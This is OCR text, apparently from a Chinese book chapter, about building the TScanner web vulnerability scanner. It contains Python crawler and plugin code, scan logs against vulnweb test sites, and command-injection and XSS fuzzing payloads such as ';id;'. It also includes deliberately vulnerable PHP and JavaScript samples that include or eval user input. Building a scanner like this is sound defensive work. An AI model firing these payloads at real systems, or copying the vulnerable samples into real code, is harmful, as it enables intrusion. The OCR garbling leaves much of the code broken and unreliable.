vm.append (self,url.get_host(),"cmd", v)

log.info ("CMD Vuln")

print "CMD Vuln JWIFURL: %s, IWIAS%: 2s"

def find vuln(self, res,pattern):

T
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#coding=utf-8

WatDBService.py

T

import MySQLdDb

import base64

import Settings

import outputManager as om
from rpyc import Service
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% B ~ B
a, link href <a href="test.html"></a>
script, img src <script src="test.js"></script>
form action <form action="test.php"</form>
object archive, codebase, data F usemap <object data="test.swf""> </object>
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#coding=utf-8
import copy
from common import is similar url

url list=["http://www.

T e
"http
"http
"http
"http

2/ /www .
2/ /wWww .
2/ /www .
2/ /wWWw .
2/ /wWww .

anquanbao.
anquanbao.
anquanbao.
anquanbao.
angquanbao.

angquanbao.
com/index.
com/index.
com/index.
com/index.
com/index.

com/™,

php",
php?a=1",
php?a=6",
php?b=10",
php?b=test",
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mR¥EE T HMEFE

75| test;id; BY test|lid; uid=1002(www) 2id=1002(www)
groups=1002(www)

W52 test';id;’ id=1002(www) gid=1002(www)
groups=1002(www)

W53 test; $ {print(md5(imiyoo))} 1417a3e718a3d279aefda8711a0f5f65

75 test';$ {print(md5(imiyoo0))};' 1417a3e718a3d279aefda8711a0f5f65

W5t s test"]=1;${ print(md5(imiyoo))};// 1417a3e718a3d279aefda8711a0f5f65
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+ Debian8

tscanner — bash — 141x31
bash
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imiyoo@debian:~§ sudo pip install nose
Downloading/unpacking nose
Downloading nose-1.3.7-py2-none-any.whl (154kB): 154kB downloaded
Installing collected packages: nose
Successfully installed nose
Cleaning up...
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continue

iteie alteng dn gEillE, enel @log

cmdtype = item["type"]

pattern = item["pattern"]

payload list = item["payload"]

for p in payload list:
#payloadEE = N: Fif{i+payload
o _param dict[name] = o v + p
HEBRNSHIEE, FHRA
poc_param dict = copy.deepcopy (o param dict)
poc_tuple = (name,poc_param dict,pattern)

res.append (poc_tuple)
EEthen 1EEE





OEBPS/Image00379.jpg
#coding=utf-8

T

RDB.py

import sys

sys.path.append ("..")

import teye config as Settings
import rpyc

import logging

import json

class RDB:
def | init (self)is
self. client = None
def connect (self) :
Loy
self. client = rpyc.connect (Settings.RPYC HOST,Settings.RPYC PORT)
self. client.root.open ()
except Exception,e:
self.close()

#iB I RPCH Ty ARIAATE 55 51 %
def getNewtasks (self,num) :
data=[]
if selfy client 1s None:
self.connect ()
result = self. client.root.client getNewtasks (num)
#}iqﬂWAT_MSG_INFO=("taskid":"","website":"","profile":"“,"message":"")
for task in result:
Settings.WAT MSG INFO['taskid']=task[0]
Settings.WAT MSG INFO['website']=task[1]
Settings.WAT MSG_INFO['profile']=task[2]
msg = json.dumps (Settings.WAT MSG_INFO)
content={"taskid":task[0], "msg" :msg}
data.append (content)
return data
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URL
Create
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Request
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imiyoo:~/workplace/tscanner$ nosetests tests/test_url_filter.py —s

EUESAHERE:

['http://www. anquanbao. com/', 'http://www. anquanbao. com/index. php', 'http://www. anquanbao. com/index. php
?a=1', 'http://www. anquanbao. com/index. php?a=6', 'http://www. anquanbao. com/index. php?a=102', 'http://ww|
w. anquanba. com/ index. php?b=1', 'http://www. anquanbao. com/ index. php?b=5', 'http://www. anquanbao. com/ inde
x. php?a=18&b=1"]

EERERIBIRE:

['http://www. anquanbao. com/', "http://www. anquanbao. com/index. php', 'http://www. anquanbao. com/index. php
?a=1', 'http://www. anquanba. com/index. php?b=1', 'http://www. anquanbao. com/index. php?a=1&b=1"]

Ran 1 test in 0.001s

0K
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res_body = res.body
if res_body is None:
return False
result = re.search(item,res body,re.I
if result:
return True
return False

def get cmd db(self):

#"type":"linux","cmd":"id", "payload":";id;", "pattern":""
Vi

cmd _db = []

cmd_item = {}

cmd_item(["type"] = "linux"
cmd_item["cmd"]="id"
cmd_item["payload"]=[";id;","';id;"'"]

cmd_item["pattern"]=r"uid=\d+\ (\w+\) \s*gid=\d+\ (\w+\) \s*groups=\d+\ (\w+\) "
cmd_db.append (cmd_item)

cmd_item = {}

cmd_item["type"] = "php"
cmd_item["cmd"] ="print (md5 (imiyoo))"
cmd_item["payload"]=["${print (md5 (imiyoo))}","';${print (md5 (imiyoo))};"'",

"\"]=1;${ print (md5(imiyoo))};//"]
cmd_item(["pattern"]=r"1417a3e718a3d279%aefda8711a0£5£65"
cmd_db.append (cmd_item)

return cmd _db

def fill param(self,param) :
[N

EEIRES
Ve
param _dict = copy.deepcopy (param)
for key,value in param dict.iteritems():
str_value = "".join(value)
if str value=="":
param _dict[key]=smart_ fill (key)
return param dict

def _get payload list(self,param):

[N

[

res = []
o_param dict = self. fill param(param)
o_param _key = o param dict.keys()

for name in o _param key:
o_v = o_param_dict.get (name)
if type(o_v) is list:
if len(o w)<=Ll:
o_v="".join(o_v)
else:
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from rpyc.utils.server import ThreadedServer

class WatService( Service ):

def exposed open (self):
self. conn = MySQLdb.connect (host=Settings.WAT CLIENT HOST,

user=Settings.WAT CLIENT USER,
passwd=Settings.WAT CLIENT_ PASS,
db=Settings.WAT CLIENT DATABASE,
charset=Settings.WAT CLIENT CHARSET)

def executequery(self,sql):
cursor=None

e

cursor=self. conn.cursor ()
cursor.execute (sql)

result = cursor.fetchall ()
self. conn.commit ()

return result

finally:

if cursor!=None:
cursor.close ()

def executeupdate (self,sql):
cursor=None

try:
cursor=self., conn.cursor ()
cursor.execute (sql)
count = self. conn.affected rows ()
self. conn.commit ()
return count

finally:

if cursor!=None:
cursor.close ()

def exposed close(self) :
self. conn.closei()

s = ThreadedServer ( WatService, port=9999, auto register=False )

s.start ()
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imiyoo@debian:/home/wwwroot/default/book/python$ python -m memory_profiler test.py
[0 2503 40 58 6l TR 87T |
Filename: test.py

Line # Mem usage Increment Line Contents
4 13.031 MiB 0.000 MiB @profile
5 def test():
6 13.035 MiB 0.004 MiB a=[]
7 13.035 MiB 0.000 MiB for i in xrange(0,10):
8 13.035 MiB 0.000 MiB a.append(i)
9 13.039 MiB 0.004 MiB print a

imiyoo@debian: /home/wwwroot/default/book/python$
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if is similar page(resp 200, resp 404):
break

elise:
self. 404 already domain.append (domain)
self. 404 kb.append ((domain,resp 404))

def is 404 (self,http response) :
codci=Nhttplire sponscetgeticodei()
ur IR ShiE eplresponscage ERuEIN()
domain = url.get domain ()
if domain not in self. 404 already domain:
self.generate_ 404 kb (url)
if code==404:
EEiEEm WEEE
1 fNcodeintself 404 code N IHSE :
for resp 404 in self. 404 kb:
if is _similar page (http response,resp 404):
returnSTrrue
return False
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<?php
Sfilename=$ GET["data"];

@include ($filename) ;
2>
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i
import
import
import
import
import
import

os

sys

time

json

datetime

teye config as Settings

from LogManager import log

from Queue import Queue

from teye worker.RDB import RDB

from teye worker.scan import DoScanTask

if _ name =="_main_ ":
g = Queue (Settings.MAX DISPATCH_ TASK)
while True:

while True:
count = 0

CEYS

rdb = RDB()

rdb.connect ()

tasks =rdb.getNewtasks (Settings.MAX DISPATCH_TASK)

for task in tasks:
msg= task.get ("msg")
taskid=task.get ("taskid")
taskstarttime = datetime.datetime.now ()
rdb.updateFlag (taskid)
rdb.updateStart (taskid, taskstarttime)
g.put (msg)

rdb.close ()

break

except Exception,e:

print str(e)

count +=1

if count>Settings.MAX RETRY COUNT:

sys.exit (-1)

time.sleep (Settings.MSG_INTERVAL)
worker count = g.gsize()
wait_circle = worker count/Settings.MAX CONCURRENT NUM

while True:

if g.empty ()==True:
break
msg_list = []

for i in xrange(Settings.MAX CONCURRENT NUM) :
if not g.empty():
msg = g.get ()
msg_list.append (msg)
for item in msg list:
try:
DoScanTask.delay (item)
Except:
Pass
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#coding=utf-8

page 404.py

Vi

from wCurl import wcurl

from teye web.http.URL import URL

from teye web.http.function import is similar page
from misc.common import rand letters

class page 404:
def  innt (iselif):
self. 404 kb = []
self. 404 code  list =200, 3501,502]
self. 404 checked = False

def generate 404 kb(self,url):
FIRIURL IS e 44
domain path = url.get domain path ()
randl file = rand letters (8) + ' html!"
url 404 = domain_path.join url (rand file)
resp 200 =wcurl.get (domain path)
resp 404 = wcurl.get (url 404)
A IR TR, HEA S ERGREI404 T, MR R8I S H UL
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imiyoo:~/workp lace/tscanner
CMD Vuln jRiEURL:http://192
CMD Vuln jRRIURL: http://192
CMD Vuln jREURL:http://192
CMD Vuln jRRURL:http://192
CMD Vuln 3REURL:http://192
{u'192.168.126.145': {'teye
ct: "CMD Vuln">, <vuln obje

$ nosetests tests/test_common_vuln. py:test_cmd -s

. 168. 126. 145/book/cmd/1_cmd. php, iF@iEE ¥ : data

. 168. 126. 145/book/cmd/2_cmd. php, iREE ¥ : data

. 168. 126. 145/book/cmd/3_cmd. php, iEiEE ¥ : data

. 168. 126. 145/book/cmd/4_cmd. php, iwiEES# : data

. 168. 126. 145/book/cmd/5_cmd. php, i@iEES ¥ : data

_omd_plugin': {'cmd': [<vuln object: "CMD Vuln">, <vuln object: "CMD Vuln">, <vuln object: "CMD Vuln">, <vuln obje|
ct: "CMD Vuln">1}}}

Ran 1 test in 1.732s

0K
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#coding=utf-8

taskSchedule.py
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<?php

Smyvar = array();

Svalue = "test";

if (isset ($_GET["data"]))
{

$data = $ GET["data"];
eval ("\S$myvar[\"$data\"] = \"S$value\";");
}

?>
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#coding=utf-8

rpc_server.py
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pip install rpyc
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def pre parse(self, response):
[

(R

#7 P TE B e 187K o B UR L

SEriheaders=tx

for key,val in response.headers.items () :
str headers +=key+":"+val+"\r\n"

self. regex url parse(str_headers)

self. find header urls(dict_ headers)

#7F1 FIE DU SR B2 ¢ o (K UR L

self. regex url parse(response.body)

def parse(self, response):

IR
IEE
parser = etree.HTMLParser (target=self, recover=True)
35 A

etree.fromstring (response.body, parser)
except ValueError:

pass

@property
def forms (self) :

v

return self. forms

def get forms (self):

r

(N

return self.forms

@property
def urls(self):

(]

(i

return self. re urls,self. tag urls

def get urls(self):

nn

return self. re urls,self. tag urls
#AEH < Form>FRas
def _handle_ form tag start(self, tag, attrs):

self. inside_ form = True

method = attrs.get('method', 'POST')

name = attrs.get('name','')

action = attrs.get('action', None)

missing or invalid action = action is None

if not missing or invalid action:

toyis
action = self. base url.join_url (action)
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#coding=utf-8

XSS .py
T

import re
from util.smart fill import smart fill
import teye data.severity as severity
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xss(middle)

« [POST]htp: ulnweb. =UNKNO UNKNO INKNOWN&uce=
">>>>>%3B%3B%3B%3B%3B<script>
<a>XSS_VULN_FOUND: pass2=UNKNO UNKNO INKNC ignup
xss(middle)
« [POSTIhttp: ulnweb. UNKNO UNKNO UNKNO INKNC UNKN
OWN&uuname=UNKNOWN&uemail=-->"">>>>>%38%3B%3B%3B% ! _VULN_FOUND: ignup P
xss(middle)
« [POST]http: uinweb. =UNKNO UNKNO INKNO! UNKNC UNKN
OWN&uuname=-->"">>>>>%38%3B%3B' i _VULN_FOUND: UNKNO i ignup
xss(middle)
« [GET]http:/testphp.vulnweb.comVlistproducts.php?artist=- >>>>>%3B%3B%3B%3B%3B<script><a>XSS_VULN_FOUND</a>//
xss(middle)
« [GET]http: ulnweb, >>>>>%3B%3B%3B%3B% ! _VULN_FOUND: ize=160
xss(middle)

« [GET]http:/itestphp vulnweb.com/showimage.php?2file=-->"""""">>5>59%38%38%3B%3B%3B<script><a>XSS_VULN_FOUND</a>//

xss(middle)

* [POST]http: uinweb. SIS >5>>% 3B %3B %38 % 3B %: ip! _VULN_FOUND: g

dberror(middle)

« [GET]http://testphp.vulnweb.comvartists. php?artist=")(wat)"%27
dberror(middle)

« [GET]http: uinweb. php?artist=")(wat)"%27
dberror(middle)

« [GETjhttp://testphp.vulnweb.com/product php?pic=")(wat)"%27
crossdomain.xmIXZ R BT 4(&fE)

« [GET] ulnweb inxmi
sql(high)

« [GET uinweb. 1%20AND%20715=715
sql(high)

« [GET]http://testphp.vulnweb, com/artists. php?artist=3%20AND%20122=122
sql(high)

« [GETjhttp: ulnweb. o NDY

176.28.50.165:80
crossdomain.xmIXZ R B 4(51E)

* [GET]http://176.28.50.165:80/crossdomain.xml

Report generated by TScanner at 2017-02-11 20:21:25.
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python -m memory profiler test.py
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= self. base url.urljoin(value).url string
url = URL(url,encoding=self. encoding)

self. tag urls.add(url)

#IRALA B hR 2 URL

def find tag urls(self,tag,attrs):

for attr name, attr value in attrs.iteritems():

if attr name in self.URL_ATTRS and attr value and not
attr value.startswith ("#"):

try:
if attr value.startswith ("http"):

url = URL(value,encoding=self. encoding)
elses

url = self. base url.urljoin(attr_value).url_string
url = URL(url,encoding=self. encoding)
except ValueError:

pass
else:

self. tag urls.add(url)

#IRHG R URLIE A MEEE, W SCARBRELUSMURL

def find regex urls(self, doc_str):

e
rellurlsi=set ()

for url in re.findall (HTMLParser.URL_RE, doc_str):
Ery:
url = URL(url[0], encoding=self. encoding)
except ValueError:
pass
else:
re_urls.add(url)
def find relative(doc_str):
res = set ()
#lindex . phpikindex . php?aid=1&bid=2iXFEKIAHR URL
regex="

([/1{0,1}\w+\. (asp|html|php|jsplaspx|htm) (\2? ([\ws]*=[\w¥]*) (& ([\w¥]*=[\w¥]*))*) {0,1})

relative regex = re.compile (regex,re.U|re.I)

for match tuple in relative regex.findall (doc_str):
match_str = match tuple[0]
url =

self. base url.join url (match_str) .url string
url = URL(url,encoding=self. encoding)
res.add (url)
return res
re urls.update(find relative (doc_str))
self. re urls.update(re_urls)
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test'">;</script><a>MNLEF</a>//
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13l testphp.vulnweb.com

3% S TScanner/1.0
$3fERE: 2017-02-11 19:53:22--2017-02-11 20:21:25
PSR B

HHBEFER

 testphp.vulnweb.com
() www.vulnweb.com
() testphp.vuinweb.com
() 176.28.50.165:80

HHmER
EHUROER:
176.28.50.165

= 21(open) 22(open) 25(open) 80(open) 110(open)

R RiELUER:

www.vulnweb.com----->nginx

testphp.vulnweb.com-

>nginx

176.28.50.165:80----->nginx

HBERES:
testphp.vulnweb.com

« http://testphp.vulnweb.com/admin
. ulny ml.i

176.28.50.165:80

« http://176.28.50.165:80/admin
+ http://176.28.50.165:80/.idea/workspace.xml

Webifi

testphp.vulnweb.com
directory(middle)
« [GET]http:/itestphp.vuinweb.com/Flash/
directory(middle)
* [GETJhttp:/Ntestphp.vulnweb.com/images/
directory(middle)
* [GET]http:/Mestphp.vulnweb.com/Mod_Rewrite_Shop/images/

xss(middle)

- [POST) misearch

_VULN_FoU

xss(middle)

« [POSTIhtip:festphp.vui =
<a>XSS_VULN_FOUND</a>//&submit=add%20message

xss(middle)

« [GETIhttp:/Aestphp.vulnweb.com/hpp/?pp= "55>>>%38%3B%3B%3B%IB<script><a>XSS_VULN_FOUND</a>//

xss(middle)

+ [POSTIhtp:
<a>XSS_VULN_FOU! INKNOV UNKNOW.
N&signup=signup

xss(middle)

0ST)
<a>XSS_VULN_FO INKNO
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#coding=utf-8





OEBPS/Image00231.jpg
str value = "".join (value)
4 s Er i vallne=—="":
param dict[key]=smart fill (key)
return param dict
de @l geNpayiioadiiiis ol selitipaiaam)i

res = []
o param dict = self. fill param(param)
o _param key = o _param dict.keys()

for name in o param key:
o v = o param dict.get (name)
if type(o v) is list:
it llen (ol v)i<=15

o v="".join (o_v)
else:

continue
#AESERRT, A IS HACEEHLLBGR, KT O& 2 2 80 & 55
payload — "——>"""\"\"\"\"\">>>>>>;;;;;;</script>"+self._xss_key+"//"
poc param dict = copy.deepcopy (o param dict)
poc param dict[name] = payload
poc_tuple = (name,poc_param dict)

res.append (poc tuple)
reEarnEres
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except ValueError:
missing or_invalid action = True

if missing or_invalid action:

action = self. base url
form data = postdata.postdata(encoding=self. encoding)
form data.set name (name)
form data.set method (method)
form data.set_action(action)
self. forms.append(form data)

def handle form tag end(self, tag):

self. inside form/ = False
form data = self. forms[-1]
url = form data.get action()
method =form data.get method()
freq = Request (url)
freqg.set_method (method)
freqg.set post_data(form data)
self. form regs.add(freq)

def handle input_tag_start (self, tag,attrs):

IRl
Vi

side = 'inside' if self. inside form else 'outside'

default = lambda *args:None

meth = getattr(self,' handle '+tag+' tag '+side+' form',default)
meth (tag,attrs)

def _handle input_tag_inside form(self,tag,attrs):

form data = self. forms[-1]

type = attrs.get('type','').lower ()
name = attrs.get('name','')
value = attrs.get('value','"')
items = attrs.items ()
if name=='":

return
if value=="":

value = smart_fill (name)
if type == 'file':

form data.hasFileInput = True
else:

form data.set_data (name,value)
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from teye data.vuln import vuln
from teye data.vulnmanager import vm

class xss:

def _ init (self):

T
i

self. xss_key = "<a>XSS_VULN_FOUND</a>"
self. white param = ["csrf token","captcha"

def check(self,t request):

i

(KR

log.info (u"IEFER H AR B A7 EXSSEE IR . . . ")
http_request = copy.deepcopy(t_request)

if http request.get method()=="GET":
param dict = http request.get get param()
if http_request.get method()=="POST":

param_dict = http request.get post param()
xss_payload list = self. get payload list (param dict)
for name,poc_info in xss_payload list:
if name.lower() in self. white param:
continue
print "Fuzz Name:"+ name
if http request.get method()=="GET":
Tesh—

wcurl.get (http request.get url().get uri string(),params=poc_info)

def

if self. find wvuln (res):
v = vuln ()
url = res.get url()
.set_url (url.get uri string()+"?"+str (poc_info))
.set_method ("GET")
.set_param(name)
.set_name ("XSS Vuln"
.set_rank (severity.M)
vm.append (self,url.get_host (), "xss",v)
log.info ("XSS Vuln")
PrinEili==————— == XSS vuln"

_find vuln(self, res) :
K

<< << <

res_body = res.body

if res_body is None:
return False

if res_body.find(self. xss_key)>=0:
return True

elsel
return False

_fill param(self,param):

(RN}

H 3R

param dict = copy.deepcopy (param)
for key,value in param dict.iteritems():
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/“" Active Vulnerabilities In... x| 4

Active Vulnerabilities Index - Iceweasel

bContent/active/index-main.jsp

ve|[aur

& 3 &=

€ )9 @192.168.126.145:50

Active Web Application Vulnerability Examples

Pages in this section should only contain vulnerabilities detectable by passive scanners.

Categories

o Reflected Cross Site Scripting (RASS)

o 30L Injectiol

n
o [ocal File Inclusion/Directory Traversal/Path Traversal /

o Remote File Inclusion
o Unvalidated Redirect

~

imimTEE MR

AR ML
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test_class_HtmlParser.py
v

from wCurl import wcurl
from teye web.http.URL import URL
from teye web.parser.HtmlParser import HtmlParser

def test HtmlParser():

req url="http://192.168.126.147"
real_contain_urls=['http://www.w3.0rg/1999/xhtml’,
'http://192.168.126.147/1nmp.gif"',
'http://lnmp.org',
"http://192.168.126.147/p.php',
"http://192.168.126.147/phpinfo.php',
'http://192.168.126.147/phpmyadmin/"',
'http://lnmp.org',
'http://bbs.vpser.net/forum-25-1.html",
'http://www.vpser.net/vps-howto/"',
'http://www.vpser.net/usa-vps/"',
'http://lnmp.org',
'http://blog.licess.com/"',
'http://www.vpser.net']

r = wcurl.get (req_url)
parser = HtmlParser(r)
re urls,tag_urls = parser.urls

print "Regex URL:"
for item in re urls:
print item

print "Tag URL:"
for item in tag_urls:
print item

page_urls = []
page_urls.extend(re_urls)
page urls.extend(tag_urls)

true num = 0
for item in real contain urls:
real url = URL(item)
if real url in page_urls:
true num +=1
else:
print real url

assert len(real contain_ urls)==true_num
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imiyoo@debian:/home/wwwroot/default/book/bloomfilter$ sudo pip install memory_profiler
[sudo] password for imiyoo:
Downloading/unpacking memory-profiler

Downloading memory_profiler-0.41.tar.gz

Running setup.py (path:/tmp/pip-build-pfTvQC/memory-profiler/setup.py) egg_info for packag
e memory-profiler

Installing collected packages: memory-profiler
Running setup.py install for memory-profiler
changing mode of build/scripts-2.7/mprof from 644 to 755

changing mode of /usr/local/bin/mprof to 755
buccesstu installed memory-profiler
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#coding=utf-8

DS EanMoy;

T
import
import
import
import

os
sys
re
time

from teye util.page 404 import is 404
from wCurl import wcurl

class DirScan:
cleie | almie  (BelliE) 8
gellit, tevmel cile = [
gelit, chie file = Nome
def scan dir(self,site,dir fille=None):
self. dir file = dir file if dir file else "teye file/webdir/admin.list"
wllle 1hige = Eeen (el @hlie sdillle, Mgt o weeellilbnes ()
ifeie digEm dm iEille higiEs

path = item.strip()
if path.startswith ("#"):
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pip install psutil
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byte-compiling build/bdist. linux-x86_64/egg/tests/run.py to run.pyc

installing package data to build/bdist.linux-x86_64/egg

running install_data

copying README.rst -> build/bdist.linux-x86_64/egg/ghost

creating build/bdist.linux-x86_64/egg/EGG-INFO

copying Ghost.py.egg-info/PKG-INFO -> build/bdist.linux-x86_64/egg/EGG-INFO

copying Ghost.py.egg-info/SOURCES. txt -> build/bdist.linux-x86_64/egg/EGG- INFO

copying Ghost.py.egg-info/dependency_links.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying Ghost.py.egg-info/not-zip-safe -> build/bdist.linux-x86_64/egg/EGG-INFO

copying Ghost.py.egg-info/top_level.txt -> build/bdist.linux-x86_64/egg/EGG- INFO
creating 'dist/Ghost.py-0.1b-py2.7.egg’' and adding 'build/bdist.linux-x86_64/egg’ to it
removing 'build/bdist.linux-x86_64/egg’' (and everything under it)

Processing Ghost.py-0.1b-py2.7.egg

removing '/usr/local/lib/python2.7/dist-packages/Ghost.py-0.1b-py2.7.egg’' (and everything unde|
r it)

creating /usr/local/lib/python2.7/dist-packages/Ghost.py-0.1b-py2.7.egg

Extracting Ghost.py-0.1b-py2.7.egg to /usr/local/lib/python2.7/dist-packages

Ghost.py 0.1b is already the active version in easy-install.pth

nstalled /usr/local/lib/python2.7/dist-packages/Ghost.py-0.1b-py2.7.egg
rocessing dependencies for Ghost.py==0.1b
inished processing dependencies for Ghost.p

0.1b
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imiyoo: /workplace/tscanner$ python test_wcurl.py

HOOK Connect, Wait
<Response | 200 |
HOOK Connect, Wait
<Response | 200 |
HOOK Connect, Wait
<Response | 200 |
HOOK Connect, Wait
<Response | 200 |
HOOK Connect, Wait
<Response | 200 |
HOOK Connect, Wait
<Response | 200 |
HOOK Connect, Wait
<Response | 200 |
HOOK Connect, Wait
<Response | 200 |
HOOK Connect, Wait
<Response | 200 |
HOOK Connect, Wait
<Response | 200 |

for a moment. ..

GET, http://www. baidu.

for a moment...

GET, http://www. baidu.

for a moment. ..

GET, http://www. baidu.

for a moment...

GET, http://www. baidu.

for a moment...
GE
for a moment. ..

=

GET, http://www. baidu.

for a moment. ..

GET, http://www. baidu.

for a moment..

GET, http://www. baidu.

for a moment. ..

GET, http://www. baidu.

for a moment. ..

GET, http://www. baidu.

http://www. baidu.

077a1f82-bbb1-11e6-852a-d0a637ed2d 5>

078124ee-bbb1-11e6-b78a-d0a637ed2df5>

07899202-bbb1-11e6-a831-d0aé37ed2df5>

0791878a-bbb1-11e6-aa82-d0a637ed2df5>

07988fb3-bbb1-11e6-bf43-d0a637ed2df5>

07alcccf-bbb1-11e6-a0c5-d0a637ed2df5>

07a81717-bbb1-11e6-9890-d0a637ed2df5>

07afe00c—bbb1-11e6-83e4-d0a637ed2df5>

07b93abd-bbb1-11e6-9ab0-d0a637ed2df5>

07bea719-bbb1-11e6-a30f-d0a637ed2d 5>
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http://localhost/book/dom-xss/1 xss.php#l;alert (/anquanbao/)
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#coding=utf-8

tcore.py

i

import os

import sys

import json

import time

import base64

import thread

import datetime

import timeout decorator

from teye port.PortScan import PortScan

from teye dir.DirScan import DirScan

from teye finger.FingerScan import FingerScan
from teye domain.DomainScan import DomainScan
from teye web.http.URL import URL

from teye web.http.Request import Request
from teye data.config import cfg

from teye data.info import db_info

from teye data.vulnmanager import vm

from misc.factory import factory

from misc.common import is_ip address,get my ip
from LogManager import log

from crawler import Crawler

#progress class

from teye util.progress import progress
#mysglmanager

from teye util.mysglmanager import mm

#Report

from teye report.HtmlReport import HtmlReport

HEITBLE], 5B AR [ g 24/
MAX SCAN WEB TIMEOUT = 3600

class tCore:
[EH]

IEE]
def  dmit (self):
i

self. domain_file = "teye file/domain/small domain_ name.txt"
sclif. host dir fillle = "teye file/webdir/host.list"

self. web dir file = "teye file/webdir/web.list"

self. ps = None

#host task

self. host_task =[]

#http task

self. http task =[]
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pip install memor profiler
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<script>

var pos=document.URL.indexOf ("#")+1;

var name = document.URL.substring (pos,document.URL.length) ;
document.write (name) ;

eval ("var a="+name) ;

</script>
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continue
if site.andswith (/")
url = site[0:-1] + path

else:
url site + path
res = None
try:
res el o epie (Wil ; ellilewy wecllrceicg=ltclles)

SeiEls = weE e eeeE ()
msg "Check URL:"+ url + " code:" + str(status)
print msg
if status != 200:
continue
else:
#unicode
body res.body
if not is_ 404 (body) :
selif . found dir append (Url)
except Exception ,e:
print "Http Request Error %s" % str(e)
time.sleep (0.1)
cleit geit_chie e (Selif) 5

ieziEbien SelliE, irevimel @hlie
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wget http://sourceforge.net/projects/pyqgt/files/PyQt4/PyQt-4.11.4/PyQt-xll-gpl-
4.11.4.tar.gz

tar —-zxvfi PyQt-xll-gpl-4.11.4.tar.gz

cd PyQt-xll-gpl-4.11.4

python configure.py

make && make install
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¥ General
Request URL: http://192.168.126.142/book/tiaozhuan/301.php
Request Method: GET
Status Code: @ 301 Moved Permanently
Remote Address: 192.168.126.142:80

¥ Response Headers view source
Cache-Control: no—cache
Connection: keep-alive
Content-Type: text/html
Date: Tue, 06 Dec 2016 13:04:31 GMT
Server: Nginx
Transfer-Encoding: chunked
X-Powered-By: PHP/5.4.41
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AR s

document.URL eval
document.location document.write
document.referrer document.InnterHTML

document.form document.OuterHTML
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self. http task.extend(domain_ list)
self. host task.extend(ipaddr list)
if ipaddr not in self. host task:
self. host task.append (ipaddr)
for item in self. host_ task:
http target = self.scan_host (URL(item))
for t in http_ target:
if © not in self. http task:
self. http task.append(t)
scan_count = 0
for task in self. http task:

if scan_count > cfg["max domain_scan"]:
break

url = URL(task)
self. scan_worker (url)

scan_count = scan count + 1
else’

http target = []
#http_target = self.scan_host (target)
#nmap is filter,only one target
if len(http target)==0:
target self = target.get host()+":"+str(80)
http target.append(target self)
for t in http target:
self. http task.append(t)
for task in self. http task:
url = URL(task)
self._ scan_worker (url)
db_info.set end time(datetime.datetime.now().strftime ('%Y-%m-%d $H:%M:%S'))
try:
pthread.exit ()
except:
pass
self. progress status = True
self.update_scan_status()

H80FE J2 514 5491 R 4

def _scan_worker (self, target):
v

(R

log.info("Scaning Target:"+ target.url string)
db_info.get("scan_target").append(target.get_host())
if is ip address(target.get host()):
dir_item = self.scan dir(target,self. host dir file)
db_info.get("dir") .append(dir_ item)
self.scan_poc (target)
elizer
dir item = self.scan dir(target)
db _info.get ("dir") .append(dir_item)
finger item = self.scan_finger (target)
db_info.get ("finger") .append(finger_ item)
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git clone -b travis https://github.com/jeanphix/Ghost.py
python setup.py install --prefix=/usr/local
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Hello,the World! - Iceweasel

hp#1;alert(/anquanbao/)

/anguanbao/

IFZE{4i3EA localhost [OEKIE-
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]

self. host info_list

self. site info list.= []

self. common_check list =
Mgl "xss!, Yemd®  1ELY, "bak, "nginx', st cuts; "directory"]

self. poc_list= ["flash crossdomain","iis enumeration","openssl heartbleed"]

self. dir yuln = 0

#api var
self. api request list = []
self. api domain list = []

self.circle time = 30
self.progress = progress ()

self. progress status = False

self. lock = thread.allocate lock()

def scan_site(self,target):
(IO

e
#initial

self. initiall()

site ="'

myip ='"

ipaddr ='"'

#config info

site = target.get host ()

myip = get_my ip()

ipaddr = self. ps.get ipaddr (site)

db_info.set_entry(site)
db_info.set myip (myip)
db_info.set_ ipaddr (ipaddr)

db_info.set_start time(datetime.datetime.now().strftime('%Y-%m-%d $H:%M:%S'))
pthread = thread.start new_ thread(self.update progress, ())

if not self. psiisialivel(site):
pthread.exit ()
self. progress_status = True
self.update scan_status ()
sys.exit ("Target is not alive!")

root_domain = target.get root_domain ()
db_info.set_domain (root_ domain)
if cfg["domain_scan"]==True:
domain_list,ipaddr list = self.scan _domain (root_domain)
#ipaddr 1istAEE4RTHAR K IPHbNE
db_info.set_ subdomain (domain_list)
db_info.set_relate ipaddr (ipaddr_ list)
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apt-get install python-qt4 python-devel gt4-dev-tools





OEBPS/Image00106.jpg
from LogManager import log as om
from wCurl import wcurl

DEFAULT_ENCODING="utf-8"

class HtmlParser:

URL_HEADERS=('location')

URL_TAGS = ('a', 'img', 'link', 'script', 'iframe',6 'frame', 'form', 'object')

URL_ATTRS = ('href', 'src', 'data', 'action')

URL_RE = re.compile('((http|https) :// ([\w:@\=N./1%2) [* \n\rx\t"\'<>]\s)*) ',

re.U|re.I)

def  init (self, response)i:
self. encoding =DEFAULT_ENCODING
self. base url = response.get url ()

self. inside form = False

self. emails =[]
self. form regs= []
sel £l re uzxls = sati()

self. Lag unlst=Sset ()

self. pre parse (response)
self. parse (response)

def start(self, tag, attrs):

(R

try:

meth = getattr(self, '_handle '+ tag +'_ tag start', lambda *args:

meth (tag, attrs)
if tag.lower() in self.URL_TAGS:
self. find tag urls(tag, attrs)
except Exception, ex:
pass
def end(self, tag):

(RN

getattr(self, ' handle '+ tag +'_tag end', lambda arg: None) (tag)

#ARI B2k I URL
def _find header urls(self,headers):

for key,value in headers.items () :
if key in self.URL HEADERS:
if value.startswith ("http"):
url = URL(value,encoding=self. encoding)

None)
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imiyoo: /workplace/tscanner$ . /teye.py -s "http://testphp. vulnweb.com/" —p ' [ useragent’: IScanner/1.0°, “typs":2, cookie"

2017-02-11 19:53:22, 557: DomainScan. domain_scan. 58 ~ DomainScan Scanning:wm. vulmweb. com
2017-02-11 19:53:22, 580:DomainScan. domain_scan. 58 ~ DomainScan Scanning:blog. vulnweb. com
2017-02-11 19:53:22, 598: DomainScan. domain_scan. 58 ~ DomainScan Scanning:bbs. vulmweb. con
2017-02-11 19:53:23, 190:DomainSoan. domain_scan. 58 ~ DomainScan Scanning: forum. vulnweb. com
0:01:46, 479:DirScan. scan_dir. 57 - Check URL:http://smw. vulrweb. con/admin code:404
0:01:47, 289:DirScan. scan_dir. 57 ~ Check URL:http vulrweb. con/manager code:404
20:01:48, 109:DirScan. scan_dir. 57 - Check URL:http. vulrweb. con/adninB88 code:404
20:01:48, 824:DirScan. scan_dir. 57 - Check URL vulrweb. con/guan! i code:404
0:01:49, 580:DirScan. scan_dir. 57 ~ Chack URL v con/manager/htn| code:404
